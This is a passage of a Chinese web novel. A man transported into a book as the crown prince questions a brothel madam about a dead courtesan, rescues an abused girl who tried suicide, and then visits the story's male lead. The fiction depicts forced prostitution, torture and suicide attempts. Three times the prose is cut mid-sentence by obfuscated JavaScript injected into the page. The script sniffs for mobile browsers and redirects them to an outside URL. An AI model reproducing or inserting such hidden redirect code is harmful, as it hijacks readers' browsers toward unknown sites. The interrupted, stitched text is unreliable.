这丫头颈边缠绕着一绺湿漉漉的卷发,滑腻反光的口脂蹭到了下颔上,被汗滴和眼泪溶掉的脂粉将面颊染得有些斑驳,唇边还有些没抹净的呕秽物,仿佛刚刚才吐过一场。 她那双举着茶壶倒茶的手上满是伤痕,皮肉都溃烂了,抖得厉害,尝试了好几次,却怎么也对不准茶杯,还不慎将茶水洒到杨惜袖口上了。 “啊!” 她看着杨惜袖口的水痕,惊呼一声。因为害怕被客人责骂后又招来老鸨的一顿毒打,急得快要哭了,红着脸道歉: “爷,对……对不住。” “无碍的,我自己来就是。” 杨惜连忙将她手里的茶壶接过,眼神里满是担忧和关切,语气温柔地发问:“姑娘,你没烫着吧?” “可是身体不适,要不我去替你寻个大夫?” “多,多谢公子,我没事,这都是流霜自作自受,您不,不用管我。” 流霜鼻头一酸,嘴唇翕动。 这是第一个在她倒茶时没有对她动手动脚,反倒关心起她的客人。 流霜正是前几日因吞金殉情不成被老鸨当众罚了猫刑的那位雏妓,在猫刑中受的外伤不算什么,但流霜当时吞下的那块金定是将她的内脏给坠坏了,她现在动辄恶心想吐,浑身虚弱无力。 后来老鸨见流霜这副人不人鬼不鬼的模样,无法接客,便将她贬去做仆役了。 流霜小心翼翼地递了一张绢帕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824252|158769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给杨惜,“爷……用,用这个。” 杨惜接过那绢帕,却没有用来擦拭自己袖口的茶渍,而是伸出手臂,轻柔地将流霜面上的污渍拭去。 “这里有点东西……好了。” 杨惜放下绢帕,朝流霜柔柔一笑。 流霜愣住了,不可置信地偷偷望着近在咫尺的那张俊美的脸。 一开始来招呼杨惜和贺萦怀的那名女子已走到了醉红楼老鸨的身边。 “妈妈,那边那两位公子好生奇怪,模样都生得极其俊美,看衣饰也是富贵人家出身,但他们不但不要作陪的姑娘,连酒也不喝……其中一位还佩着剑。” 她指着杨惜和贺萦怀的方向,对老鸨私语。 “哦?” 老鸨望着他们,眯起了眼。 “来我醉红楼,却不喝花酒也不找姑娘,莫非是对家伎馆派来闹事找茬的不成?” “老娘去会会他们。” 这边杨惜将流霜脸上的污痕擦净后,正要和她说些什么,老鸨突然走到了杨惜和贺萦怀这一桌,流霜似乎极其惧怕这老鸨,赶忙退下了。 老鸨拉开长凳径直坐下,似笑非笑地望着他们俩,道:“二位郎君果然生得很俊啊,怪不得我这楼里的姑娘们都在朝这桌偷瞟,恨不得把眼睛粘在你们身上。” “呀,这位绿衣公子生得倒像我家如意姑娘的孪生兄弟……”老鸨看清杨惜的五官后也是明显一愣,但很快就恢复如常了。 “而这位黑衣公子,啧啧,当真是英武健硕,若奴家再年轻个三十岁,保准要倒追你。” 这老鸨讲话十分大胆露骨,贺萦怀常年冷淡的脸上闪过一丝不自然。 杨惜看着她,心想这位应该就是醉红楼管事的妈妈桑了,想来应是他们二人举止奇怪,方才那名女子特意找她来的。 老鸨微微笑着,眼角露出脂粉盖不住的细纹,她慢悠悠地倒酒自酌了一杯—— 然后,她站起身,猛地将酒杯砸碎。整个大厅瞬间安静下来,所有人都望向了这边。 老鸨冷冷地瞪着杨惜和贺萦怀,道:“来者都是客,但二位既不喝酒也不找姑娘作陪,难道是来我醉红楼打坐的不成?这儿是醉红楼,不是白马寺。” “是哪家伎馆派你们来找事的,二位今天可得给奴家一个交代,否则,休想离开!”老鸨冷笑了一声。 贺萦怀见势要拔剑,杨惜将他按住了,笑着道:“您误会了,我们不是来找事的,而是来寻人的。您看,可否行个方便?” 杨惜将一枚金锭按在了桌上。 “哦?” 老鸨见这人出手便是金锭,应真的是位颇有家资的公子少爷,面色和缓不少,坐了回去,对一旁盯着他们这桌的客人摆了摆手。 “只是误会,诸位爷喝好玩好啊。” 大厅又再度热闹起来。 “我这儿有个楼中姑娘的物件,想请您为我辨认一二。”杨惜放低了声音,指了指自己怀间。 老鸨这才瞥到杨惜怀间挂着一样物事,在灯影中幽幽一闪。 “是什么?”老鸨问道。 “一个花钿盒子,是我恋慕的姑娘的物件,可惜惊鸿一见,我并不知晓她的名讳。”杨惜面不红心不跳地扯着谎。 “听说醉红楼的姑娘们用的胭脂水粉式样都是统一订制的,我家下人替我打听到这盒子出自醉红楼,我便寻了过来。” 杨惜将花钿盒递给了老鸨。 老鸨接过花钿盒端量起来,面色已有些凝重。 即使楼中胭脂水粉都是统一订制再发放,但也是分了好次的,按姑娘的身价配给。这种连盒身都镶了金的式样,只有楼里的花魁和红牌姑娘才能用。 她见这盒子已有些斑驳掉漆,想来已有些年头了,她隐隐有种不祥的预感。 她蹙着眉,将盒子底部翻过来查看,在看清盒底镌着的“虫二”两个字后,瞬间瞪大了双眼。 “啊——” 老鸨尖叫一声,哆嗦着手,将那盒子扔了出去,面色惊恐地盯着杨惜。 “她回来了,她回来了是不是……鬼,有鬼啊!” 26. 绛真 杨惜没想到老鸨对这花钿盒反应这么大,很是诧异。而一旁的贺萦怀反应迅速,起身将花钿盒拾起,放置在桌案上。 “这盒子可有什么不妥……” “你是从哪里得来的这盒子?!” 杨惜和老鸨几乎同时发问,杨惜看着老鸨面上惊恐万分的神色,有些没了底气,轻声答道:“方才已经解释过,是我几日前一见倾心的一位姑娘遗落的物件儿……” “不可能!” 老鸨自那盒子底部瘆人的字样带来的极度的恐惧中回过神,稍微恢复了些理智,厉声打断了杨惜的话。 她伸出一根涂着艳丽蔻丹的手指,哆哆嗦嗦地指着案上那个花钿盒,声音颤抖:“你可知……这盒子的主人三年前便已堕江而亡?” “那年冬至日,她和情郎殉情,相约跳了曲江,尸身都没找到……你去哪里对她一见倾心,难道真撞了鬼不成?” 老鸨面色发白,杨惜的神色也凝重起来。 杨惜讪讪地摸了摸鼻尖,坦白道:“这盒子其实是在我家中地底下掘出的……看着有些年头了,我实在好奇,只好编了个由头来打听。” 老鸨闻言略松了口气,面色不善地回道:“如此,公子大可直言……平白吓了奴家一遭,以为是鬼魂作祟。” 杨惜也没想到这花钿盒竟是死者遗物,自己随口诌的理由怕是把老鸨吓得不轻,有些歉意地笑了笑。 “你说这东西是在你家中掘出的……难道你是李熙的家人么?” 老鸨望着桌案上的花钿盒,面上神情晦暗不明。 杨惜被她问得一愣,大脑快速运转着,最后还是迟疑地点了点头。 虽然他其实不知道这“李熙”是何人,但老鸨既然都这么问了,那就先承认着。 谁知老鸨看杨惜点头了,直接面色一沉,将腰一叉,对他翻了个白眼。 然后,老鸨瞪着杨惜,没什么好气地说道:“你李家还真是出了个‘人物’啊。” “都说婊子无情,可老娘经营醉红楼半辈子,倒也见过几个和情郎私定终身后不愿接客,为了守节而殉情的妓子。喏,现在在楼里端茶的流霜就是个活例,为了情郎不愿再接客,吞了金却没死成,变得人不人鬼不鬼的。” 杨惜听了这话,反应过来方才那个倒茶的小丫头奇怪的模样原来是吞金导致的……是个重情的可怜姑娘。他在心中叹息了一声。 “呵……都沦落到烟花之地了,还愿意相信恩客嘴里的真心,整天幻想着什么情啊、爱啊,情爱能值几个钱,能让她们吃饱饭、穿暖衣么?” “是老娘好心收留了她们,培养她们,她们不思回报,反倒为了那些男人虚无缥缈的‘真心’,把自己的小命给搭了进去……都卖身做了风尘女,还把贞洁看得比命重,立这种不推自倒的豆腐牌坊,真不怕说出去笑掉别人的大牙。” “明明只要往榻上一躺,轻轻松松就有银子花,还不乐意,自裁的自裁,吞金的吞金,真是蠢得让人火大。” “但是,”老鸨眯起眼,将杨惜从头至尾打量了一遍,话锋一转,“这些痴蠢的妓子大多是因为情郎家境贫寒,拿不出赎身钱,才想着自我了断。” “可我瞧你李家也不是穷酸的寒门小户,纵使是像绛真那样顶尖的花魁,照说咬咬牙也是拿得出赎身钱的。你家那位李熙倒好,竟怂恿绛真和他一起跳了曲江。” “绛真?”杨惜敏锐地捕捉到了老鸨话中的关键信息。 “你不是李熙的家人么,竟不知道绛真?”老鸨狐疑地望了杨惜一眼。 杨惜正不知如何回答时,老鸨毫不在意地摆摆手,接着说了下去。 “罢了,这也不是什么光彩的事,想来像你们这样的大户人家,要是出了李熙这么个醉心伎乐的败家子,肯定也是遮遮掩掩,断不会将那妓女的名字传与后人听。” “绛真曾是我醉红楼,不,整个平康里最红的花魁。哪怕在这天下最大的风月场,数万瘦马当中,都排得上头名。” 时至今日,老鸨提及绛真,脸上犹有自豪骄傲的神情。 “我初见她时,她不过一个寻常的黄毛丫头,是我一手把她调教出来的。她及笄那日,只是蒙着面在曲江边奏了一曲琵琶,便引得五陵年少为争睹芳容而大打出手。醉红楼有了这块招牌,连日宾客如云,对家伎倌眼红得牙都要咬碎了。” “而且,不只是乐舞才艺,她的学识谈吐也可比肩京中大儒,那盒底的‘虫二’便是她想出的。” “我楼中的胭脂水粉俱是统一定制,为了防止弄混,其他花娘都要求在盒底镌自己的姓名,独绛真不同,镌了个寻常人看了都摸不着头脑的‘虫二’上去。问她,她只是一笑,说她日后只见能解此词真意的客人。” “红成她那样,抛个词谜出去确实更有揽客的噱头,我便由了她去。” “谁知这个词谜一出,许久无人能解,在我都要劝她取消这个词谜,准备接客时……”老鸨又瞪了杨惜一眼,“你家的李熙,来了醉红楼,只花上了半柱香的时间,便破了谜底。” “谜底是‘无边风月’……呵,绛真那丫头有心气,自许是这风月场中的第一流,便以‘虫二’为见客之题。” “绛真与李熙初次相见,可是在三年前?”杨惜回忆着那日姜兮自叙的去平康里的时间,突然发问。 “正是……当时若早知会是今日这种局面,我绝不会让李熙和绛真相见的。” “你知道我培养出一个绛真耗费了多少财力和心血么?她花名最盛的时候,有朝中重臣愿出千两白银做她的入幕之宾,老娘就指着绛真开张挣银子呢……就因为你家那位李熙把绛真给哄得昏了头,绛真怒骂邀她同寝的恩客,被我罚禁闭后,半夜开窗投水自尽了。” “她留下遗书一封,说李熙与她相约,也会在当夜投曲江,她要去地底下与李熙结为一对阴伉俪。” “你们李家的郎君啊,俊是真俊……”老鸨走到杨惜身前,轻轻拍了拍他的脸,“害人也是真的害人。” 老鸨眼神一凛,冷冷拂袖。 “他李熙不想活了,自个儿去死便是,可他非要拉上绛真和他一起死。他同绛真相识不过短短两个月,就把绛真哄得连性命都不要了,害得老娘投入的心血精力一夕之间全部打了水漂。” “老娘真想不明白,生在你们这种人家,到底有什么活不下去的,楼里多少女子有着比你们悲惨万倍的身世遭遇,也不见寻死觅活的,可那李熙因一时生活不顺便要寻死,你们李家的男儿,难道都是这样的软骨头?” 杨惜被她戳着胸膛劈头盖脸地数落了一通,但面上神情不变,依然微微笑着。 他侧过脸对一旁要发作的贺萦怀使了个眼色,示意他别妄动。 杨惜知道老鸨这满腹的火气和怨气是想对着这“李熙”撒的,自己刚才冒认了李家人的身份,自然是被她当成了活靶子。 “老娘见着李家人就来气……后来李家还来了个姑娘,那模样瞧着像是李熙的孪生妹妹,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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可这么一来,他似乎只是无意间探破了姜兮和青楼名妓之间的一段风月旖事而已。虽然得知姜兮曾与一女子相恋,着实叫人有些讶异,但那名妓既已身死,魂散曲江,和饺饵案根本不可能有什么关联。 老鸨摇着团扇,探手取走了桌案上那枚金锭,像是想起了什么,从荷包里取出了一对耳珰丢给杨惜。 “这东西是我后来才在床底拾到的,绛真的物件儿,留着也嫌晦气,你既是李家人,就拿走吧。” “她虽生前未过你李家的门,可死了也和李熙不离不弃,算是半个你李家的鬼。”老鸨冷笑了一声。 杨惜接住那对耳珰,将它和桌案上的花钿盒一起揣回了怀中。 “故事也讲完了,公子请回吧,我醉红楼还是老规矩,不欢迎李家人——送客。” 立马有几个身强力壮的仆役围上前来,准备驱赶杨惜和贺萦怀二人。 杨惜没有径直离开,他心中一直记挂着方才给他奉茶的流霜,这姑娘实在可怜,和玉奴一般大的年纪,竟已吞了金,用这么痛苦的方式自尽却没死成,只怕还要被老鸨虐打教训,该是何等的害怕和绝望啊……而且,那金定已坠损了她的内脏,若放任不治,只怕性命危在旦夕了。 杨惜环顾了一下四周,见流霜瑟缩在角落里,于是穿过人群,迈步走到了她身边。 流霜见杨惜朝自己走来,面颊微红,咬着嘴唇,不安地向后退了一步,杨惜见她怕得浑身发抖,止住脚步对她一笑,示意她安心。 然后,杨惜回头对老鸨喊道:“且慢,我要为这位姑娘赎身。” “哦?”老鸨转过身,见他站在流霜身前,很是惊诧——流霜的模样都毁成这样了,他居然还要为她赎身? 老鸨尚未回话,这时,自楼上走下来了一个衣着华贵的青年,他身后还跟着一个面染薄绯的、与杨惜生得极其相似的女子。 贺兰月面上是餍足的慵懒神色,他微微眯着眼,与如意耳语着什么,目光不经意瞥到站在大厅一角的杨惜后,愣住了,惊唤一声:“萧成亭?” “……你怎么在这儿?” 27. 君臣 杨惜没想到自己都这么低调地出行了,还能被认出来,他疑惑地循声望去,发现楼梯上站着的正是几日前在辟雍学宫的藏书室里和自己发生了些口角的那个人。 真是冤家路窄啊,但杨惜依然不知道这人是谁,故而只是云淡风轻地点了点头,“巧遇。” “这儿是平康里,我来……自然是来寻欢作乐的。” 杨惜的语气极其平静,甚至有些敷衍的意味。 但一旁的老鸨在听见贺兰月唤杨惜“萧成亭”后,就愣住了。 “萧成亭”可是当朝太子殿下的名讳,看贺兰世子的表情又不似玩笑,她思及自己方才对他泼辣无礼、百般冒犯,瞬间慌了神,急匆匆地走到杨惜身前,将裙袍一撩,噗通跪下了,连磕了好几个响头。 “见……见过殿下,贱妇有眼无珠,竟不知是太子殿下莅临,对您多有得罪,殿下饶,饶命。” 老鸨面色惨白,脊背上冷汗涔涔,将发髻都磕散了。 杨惜惊叹于这老鸨变脸之快,他都还没反应过来呢,这老鸨已经丝滑地连跪带磕了,动作一气呵成,不带丝毫犹豫的。 周围的姑娘和恩客见老鸨朝杨惜下跪,还唤他太子殿下,也俱是一惊,反应过来后,齐刷刷地跪了一地。 一时间,楼中还站着的人只有杨惜、流霜、贺萦怀,还有楼梯上的贺兰月了——连贺兰月身后的如意都恭顺地跪伏着身子。 杨惜睨着周围这一片黑压压的人头,感叹这万恶的封建社会,真是尊卑分明啊,怪不得那么多人想当皇帝呢,是挺爽哈…… 他笑着摆了摆手,并不打算和方才冲自己撒气的老鸨计较什么:“无妨,本宫本就是微服出巡,你不认得也是情理之中。” “本宫方才说,要为流霜姑娘赎身,你可听清了?” 杨惜对老鸨说完这句话,转过头,朝呆愣愣地站在他身边,明显还没反应过来的流霜笑了笑。 “爷……您,您是太子……殿下?” 流霜目瞪口呆地望着身侧这个俊美无俦的青年,如在梦中般恍惚,好一晌后才反应过来,慌忙跟着众人一起跪下了。 杨惜轻轻点了点头,亲手将她搀起,对众人说:“都起来吧。” 老鸨松了一口气,谢恩起身后,极尽谄媚讨好地道:“殿……殿下,流霜这丫头的脸和身子都被金坠坏了,就是个短命的丑痨鬼,连寻常客人都嫌她,又怎能送她去侍候殿下您呢?我楼中还有更多娇美可人的雏儿,不如……” 其实方才众人听杨惜说要为流霜赎身时,周遭便有人窃窃私语,对流霜指指点点起来,还时不时传来两声饱含羞辱意味的窃笑。 这几日间,流霜被当众施了猫刑,躯干因吞金的后遗症变得臃肿,受尽了躯体上的病痛折磨,更受尽了旁人的非议和嘲笑。有客人指着她大骂“怪物”,看一眼都觉得晦气,对她拳打脚踢。 流霜听着老鸨和杨惜交谈,怯怯地抿着唇,将本就不敢抬起的头埋得更低了,她紧紧捂着手背上溃烂的皮肉,不敢抬头去看杨惜,双眸空洞地望着空气中的浮尘出神。 她想起那天,她和她端到客人手边的果盘一起被大力搡翻。那客人喝酒喝得脸红脖子粗,用刚碾过果子、满是屑渣和汁液的靴尖踩住她的肩,骂她贱人,晦气的、恶心的、小小年纪就出来卖的贱人。 她倒在地上,毫不挣扎——事实上挣扎也无用,她没有一点力气。被反复碾压的肩膀痛得她直抽气,但她只是怔怔地望着头顶的灯盏晕开的朦胧光线。 她觉得自己的尊严就像散落在身边的这几枚果子一样,被肆意蹂躏碾压,被踩得稀碎。 不知多久以后,施暴的客人离开了,她却还像只黏附在地上的八爪鱼,没有力气爬起来。她抹了抹唇边溢出的血丝,双眼无神地喃喃道,“如果,还有一个人愿意来救我……” “不必了,本宫就要她。” 杨惜语气异常坚定,正绞着袖口出神的流霜不可置信地抬头,望了杨惜一眼。 杨惜温柔地笑了笑,正要对流霜说些什么,一道讥讽的嗤笑声清晰响起—— “这种货色也吃得下……我看太子殿下真是饥不择食了。” 贺兰月挲着手上的玉扳指,毫不掩饰面上的嘲讽之色。 流霜被他这样中伤,也只是勉强地笑了笑,对杨惜鞠了一躬,道:“殿……殿下,奴知道您心善,可怜奴,奴心领了。但贺兰世子说得对,奴这种货色,只会损了殿下的声名。楼里还有许多貌美的姐妹,您,您还是……” 杨惜听流霜叫那人“贺兰世子”,在脑海中努力回忆了一番,终于想起,这人原来是贺兰月,睿宗姐姐的独子。 小说中描写睿宗和他姐政斗的篇幅挺长,想清楚其中关节后,杨惜很快就反应过来为何贺兰月和萧成亭这么不对付了,毕竟父母辈的关系都势同水火啊。 杨惜敛了笑意,主动牵起流霜的手带她走到大厅中央,他拉开一条长凳,引着流霜和自己并排坐下。 然后,杨惜眯起眼,打量着楼梯上的贺兰月。 书里写这贺兰月后来成了萧鸿雪麾下的鹰犬,他在魏后之乱中失去了一只眼,性情变得暴虐冷酷、喜怒无常,只忠于对他有救命之恩的萧鸿雪。 萧鸿雪登基以后,贺兰月就任镇抚司指挥使,成了大燕朝的头号酷吏,每天罗织冤狱、杀人抄家。他就是条疯狗,萧鸿雪指哪咬哪,非将盯上的臣子给啮骨噬肉了,否则绝不松口。 萧鸿雪下旨给萧成亭用膑刑和宫刑,就是由这贺兰月来“大义灭亲”,亲自动的手。 杨惜的眸光不经意地转动了一圈,突然注意到了贺兰月身后那张与萧成亭有七分像的脸,一瞬惊愕后,心下了然。 贺兰月身后的那位女子应该就是“如意”了,这贺兰月到底是恨萧成亭还是爱萧成亭啊,居然找了个和他这么像的姑娘…… 杨惜冷笑了一声,悠悠道:“贺兰世子好品味,不妨让本宫参考参考,来,世子身后那位美人,你上前来,让本宫好好看看你。” “是……” 如意赶忙下了楼梯,走到杨惜面前。 贺兰月方才光急着去呛太子了,一时忘记如意还在自己身后,他见太子直接将如意召到面前了,有些慌乱。 杨惜的眸光没有落到如意身上,而是直接对贺兰月故作惊讶地大喊: “啧,没想到,世子竟觅了位和本宫生得一模一样的娇娘——贺兰月,你到底是何居心啊?” “莫不是对本宫,你的表兄,存着什么旖旎龌龊的心思吧?” 杨惜此言一出,众人都悄悄比对起杨惜和如意相似的面容,窃窃私语起来。如意也瞬间明白过来,贺兰世子让自己在床笫之间扮演的,原来是太子殿下…… 而杨惜慢条斯理地转动着手中的折扇,似笑非笑地看着贺兰月。 贺兰月被杨惜这话噎了好一晌——总不能当众解释他是找了个替身来泄愤吧?他嘴唇蠕动了几下,却答不上来。 “月儿怎么不说话了?方才不是还挺能说的么,难道……真被本宫猜中了,你苦恋本宫而不得,所以借这位如意姑娘纾解相思之苦?” “本宫看你不必如此,你不如直接来找本宫吧。” 杨惜托着腮,笑眯眯地望着贺兰月。 “月儿既对本宫一片痴心,本宫也不是不能垂怜你一下,和你试试啊。”他故作暧昧的语气,朝贺兰月笑了笑。 “你!” 听着周遭的议论声,贺兰月愤愤地下了楼梯,掠过杨惜,打算径直离开。 杨惜依旧笑意盈盈,没有转头去看贺兰月,只是轻声道:“本宫准你走了吗?” “你走一个……试试。” 贺兰月身形一顿,冷哼一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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杨惜修长细直的双腿交叠在一起,他倾下身,右耳边的金色珠链叮当作响,他笑眯眯地用折扇挑起贺兰月的下颔。 “啊,月儿你说什么,本宫听不清啊,大点声。” 天天被人威胁,杨惜已经脱敏了,心想你也想让我生不如死?滚一边排队去吧。正所谓债多不愁,恨本宫的人多了,你前面还有个男主哥萧鸿雪呢,你再记仇,能记得过萧鸿雪? 感谢萧成亭的皇帝老爹,感谢这场杀千刀的穿书,不管日后下场如何凄惨,但现在当众装x摆架子是真爽啊! 贺兰月抬起头和杨惜对视,这个角度,将杨惜眉心那点张扬的朱砂痣看得分明。他没有说话,目光在杨惜脸上逡巡了一圈,又缓缓下移。 杨惜的白绿衣衫隐隐勾勒出他纤瘦的腰身,贺兰月眸光一滞,突然想起自己与如意欢好时,她在自己身下那副意乱情迷的娇态,眼神愈发深邃。 不怕他萧成亭现在得意,总有一日,自己定要把真正的太子而非替身压在身下,肆意羞辱玩弄,以雪今日之耻…… 贺兰月攥紧了手掌。 “行了,起来吧。” “谢太子殿下。”贺兰月冷冷地剜了杨惜一眼,拂袖而去。 杨惜收扇起身,问老鸨:“为流霜赎身,要价几何?” 老鸨刚见太子给贺兰世子来了个下马威,心中惶恐,忙道:“殿下看中这丫头,是她的福分,更是醉红楼的福分,殿下直接将她带走就是了……流霜,你走吧,好好伺候殿下。” “如此,我们走吧。”杨惜颔首,和贺萦怀一起向外走去。 走出几步路后,杨惜转过头,朝愣在原地的流霜招了招手。 流霜心里明白杨惜方才做这些是在维护自己,眼中噙着泪水,点了点头,跟了上去。 28. 暗灯 贺萦怀在马车前方驾车,而流霜和杨惜一同坐在马车内,车轱辘碾过道路上的碎石,带起一阵颠簸。 流霜垂着头,手指绞着衣袖,明显有些局促不安。一晌后,她抬头望向正斜靠着软垫闭目养神的杨惜,鼓起勇气道: “谢殿下相救,奴……奴身躯残破,颜容不堪,自觉无颜跟在殿下身边侍候,殿下对奴有大恩,奴不想令殿下蒙羞。” “殿下可有别的差事缺人做?奴会端茶、擦地、浣衣……奴不怕脏和累,所有最苦最下贱的活计奴都能做。” 杨惜闻言睁开眼,愣了愣,旋即对她温和一笑,“本宫不要你侍候,等待会儿马车驶出平康里,你就自由了。” 杨惜取下腰间的荷包,递给流霜。 “去看看大夫,你的病还有得治。” “本宫记得你是为心上人守节才吞金的,你是本宫带出来的,醉红楼那边日后定不敢再纠缠你了,放心去找他吧。” “他……他不要我了。” 流霜怔怔地望着杨惜递来的那枚云纹荷包,笑得勉强。 “我,我刚挂牌那会儿,他是我第一个客人。和他初夜以后,他时常来看我,说一定会为我赎身,娶我为妻。” “后来……他说家里出了变故,光是来楼中见我就已床头金尽,拿不出钱银为我赎身了,但他不想见我接别的客人,约我同他殉情。” “他说他会在家中自缢,我向花魁姐姐借了一条金坠子,吞下了。” “明明说好的,一起走……可是我被妈妈灌水灌活过来的第三天,就从窗户里看见,他进了对面的倚翠院,怀里还揽着别人。” “我气懵了,冲下楼去质问他,狠狠地掴了他一记巴掌,将他的衣衫都扯破了。” 流霜无意识地挥舞起细瘦的手指,模拟着那天的情形,她咬着牙,冲着那人歇斯底里地拽、扯、撕……泪落如雨,脸上的脂粉汇成一条粉红色的水流。 她听见情郎怀里那个娇媚的姑娘惊呼一声,然后自己的脸突然从右边移到左边,又从左边移到右边——流霜有点发懵,好一会儿才反应过来,原来是情郎在将自己的脸来回扇打。 流霜眼前一阵模糊,耳中嗡鸣,两边的面颊在火辣辣地发烫。 情郎甩着手,皱起眉头,嫌弃地啧了一声,“看看你现在这副鬼样子,真是打你都嫌晦气。” “可我是为了你才吞……吞金的。” 流霜瞪着眼,呆呆地流泪。 “我让你去死你就真的去吗?笑死人了。” “可你……你不是说真心爱我吗?” “风月场里的真心你也信?你个做婊子的,天生就是千人骑万人跨的命,也配和我谈真心?” 她被他一把搡倒在地,头磕在青石阶上,粘腻的血水将发丝打湿,紧紧地贴在颈窝上。她眼前发黑,似乎再也听不见声音。 最后,竟是情郎怀里搂着的那姑娘来扶的她。 流霜回过神,双眼通红,木木地绞着手指,已流不出泪了。 “殿……殿下,奴是不是真的痴蠢至极,自作自受?” “……你只是年纪小,遇人不淑,这不是你的错。”杨惜叹了一口气。 “奴是个无父无母的孤女,没有亲人可依傍,本以为不定哪天就死了,是殿下救了我,恩情有如再生父母。奴想斗胆问问殿下,奴该怎么做,才能活下去啊。” “人这一生,不是只为情爱而活,也不必非要顶天立地、成一番事业,只要好好爱自己,过平凡的日子也没什么不好……看完病,荷包里的钱资应该还有剩余,先寻个安身的住处,做些小营生,日后哪怕是教琴授舞,也可以自食其力。” “人生每多失意时,但日子是慢慢过的,不着急。你的人生才刚开始,还有大好年华。” “只是,不要再为别人轻易伤害自己了。流霜,你吞金不死就是天意,老天让你活下来,你要为自己活,而且要好好地活。” 杨惜将那枚荷包轻轻放进流霜的掌心,摸了摸流霜的头。 “奴明白了,多谢殿下。” 流霜泪流满面,重重地点了点头。 马车驶出平康里后,流霜下了车,杨惜掀开车帘与她挥手作别。 流霜跪在地上,朝驶远了的马车重重叩了几个头,长拜不起。 直到那辆马车彻底消失在视线中了,她才站起身,攥紧了掌心里那枚荷包。 * 车马驶回显德殿时,已是傍晚。杨惜在外奔波了一天,疲惫的很,草草用过晚膳后就准备就寝。 然而,他刚合上两眼,就听得一阵叩门声。 杨惜随手将外氅一披,没有系穿齐整就去开了门。 杨惜打了个呵欠,望见碧梧院的侍女玉屏正满面愁容地站在门外,她手中端着一个托盘,盘中盛着许多瓶瓶罐罐。 玉屏朝杨惜行了一礼,道:“……殿下,鸿雪公子不肯用药,让奴婢将称心总管送来的药悉数退回。” “称心总管叮嘱过奴婢,一定要把药膏送到鸿雪公子手中,可奴婢劝了鸿雪公子一天,实在是说不动他。鸿雪公子面上的伤口若是不及时处理,只怕要溃烂感染。” “奴婢知道殿下看重鸿雪公子,实在没办法了,故斗胆前来叨扰殿下。” “……不肯用药?” 杨惜闻言叹了口气。他一天车马劳顿,被折腾得身心俱疲,回宫后还要记挂着这位男主祖宗,顿感心力交瘁。 萧鸿雪就是再恨我,也不要和自己的脸过不去吧,在上药这件事上闹什么脾气,难道他想变成刀疤哥吗?!我不允许,我誓死守卫萧鸿雪的漂亮脸蛋。 他揉了揉眉心,对玉屏道:“把药给本宫吧。” “你也辛苦了,先去休息。” 杨惜自玉屏手中接过托盘,径直向碧梧院走去。 碧梧院内只点着疏疏落落几盏灯,光线昏渺。 杨惜走到萧鸿雪寝殿门前,见门没有关紧,豁着条缝,还是先叩了叩门,“……阿雉?” “兄长进来了?” 杨惜耐心地等了一会儿,屋内却一直无人应答。 他觉得有些奇怪,故将门轻轻推开,走入内室。 内室里只点着一盏暗灯,萧鸿雪静静地趴在桌案上,似乎是睡着了。那头柔顺如缎的银发垂到他脚踝边,随夜风轻轻舞动。 杨惜怔了怔,心想自己是出去累了一天了实在困乏,才准备早睡。可萧鸿雪怎么也睡这么早,这才傍晚吧? 难道想要成为最不可一世的龙傲天,必先拥有最令人叹为观止的晚六点睡早六点起的老头作息?! 他惜见萧鸿雪衣着单薄,也没有盖条毯褥之类的,怕他受凉,故将手中的托盘搁在一旁,把自己身上的外氅解下,蹑手蹑脚地靠近萧鸿雪,打算给他披上。 走到萧鸿雪身侧时,杨惜没忍住,欣赏起了他的睡颜。 平时他都不怎么敢直视萧鸿雪,而此刻终于能 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杨惜心觉不忍,柔声安抚道:“阿雉,你别害怕……是我。” 这话一出口,杨惜自己都感觉挺无力的,他知道自己和萧成亭是两个人,但是旁人又不清楚。还让萧鸿雪别害怕,开玩笑,整个显德殿他最该害怕的人就是太子吧…… 萧鸿雪肩头微微起伏,闻言转过身,见来者是杨惜,面上的戒备神色明显松了几分,但依旧满脸嫌恶,道:“……又想干什么?” 杨惜忙晃了晃手中的外氅,自裂口处掉下一些棉絮团,他解释道:“抱歉,吓着你了吗?本来只是怕你受凉,想给你盖件外氅……” “不必了。”萧鸿雪见杨惜也只着一件单衣,冷笑一声。 “太子哥哥自己都穿得单薄,臣弟岂敢独自享暖?” 萧鸿雪的眸光自杨惜的脸上微微下移,见杨惜墨发垂肩,领口敞开,露出一截精致的锁骨,怔了一下,然后不动声色地挪开了视线,道:“哥哥就这样来见臣弟……是打算勾引臣弟吗?” 萧鸿雪轻笑了一声,语气讥讽。 杨惜闻言愣了愣,低头看了看自己,只松松垮垮地披着件宽大的里衣,好像确实衣衫不整,不太端庄。因此,虽然萧鸿雪讲的话有些暧昧,他也只当萧鸿雪是在讽刺自己。 不过,他本来都打算就寝了,是半路被揪起来的,穿得随意点怎么啦? 杨惜扯了扯衣领,将外氅穿上,面色平静地转移话题道:“……阿雉,既然你已经醒了,我来给你上药吧?” “玉屏说你不肯用药,我实在担心你……” “担、心?” 萧鸿雪闻言,轻轻勾了勾唇角。 “哥哥为了贺萦怀朝臣弟射来这一箭的时候,冷静果决,不见你这么担心啊?” 萧鸿雪微微仰起头,望着杨惜,尾音仿佛带着小钩子,非常惑人,那双幽深如湖的紫眸中却满是令人不寒而栗的冷意。 “担心臣弟是假,哥哥是觉得这张脸,就这么毁了很可惜吧。”萧鸿雪不容拒绝地捉起杨惜的手,用他的手指一点一点地抚挲过自己颊侧那道细长的伤口。 